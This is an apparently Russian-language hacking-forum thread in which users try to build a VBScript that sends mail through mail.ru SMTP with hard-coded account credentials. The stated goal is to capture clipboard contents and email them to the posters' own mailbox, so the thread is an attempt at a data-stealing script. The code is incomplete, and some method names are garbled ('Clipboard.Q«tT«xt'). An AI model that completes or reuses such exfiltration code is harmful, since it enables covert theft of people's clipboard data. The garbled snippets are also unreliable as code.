VBS for lamers => how to?
 

set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","ТВОЙ MAIL","ТВОЙ MAIL","ТЕМА","ТЕКСТ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="ТУТ ВВОДИТЬ СВОЙ НИК НА WWW.MAIL.RU"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ТУТ ПАРОЛЬ ОТ АККА"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25


я так понел, этот кусок кода поможет отправеть к нам на мыло нужные данные.
Как бэ реализовать отправку на мыло содержимое буфера обмена. Причом не чего попало, а тока те что быле переданы методом GetText.

Я так понел первоночально нужно : Text = Clipboard.Q«tT«xt([format]), но неношол в нете инфы по отправке этого дела на майл в текстовом виде.. кто падскажет?

ну походу так
strBody = Clipboard.Q«tT«xt([format])
если я всё правильно понял

А потом strBody на мыло? чо та не догоняю..чо та не робототет так.. хз..

Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
strBody - переменная содержащая тело письма.
я не увлекаюсь VBS, просто догадка, чисто логически.
хз чегоне работает. а Clipboard.Q«tT«xt([format]) что-то адекватное вообще выдаёт?

ах да. если взять полный код для отправки
то переменная для текста будет Body, следовательно Body = Clipboard.Q«tT«xt([format])

спасибо , сейчас покумекаю... хотя колы уже нет и на часах 8.31 :(
----------------
Вобщем не понимаю.. кто знает?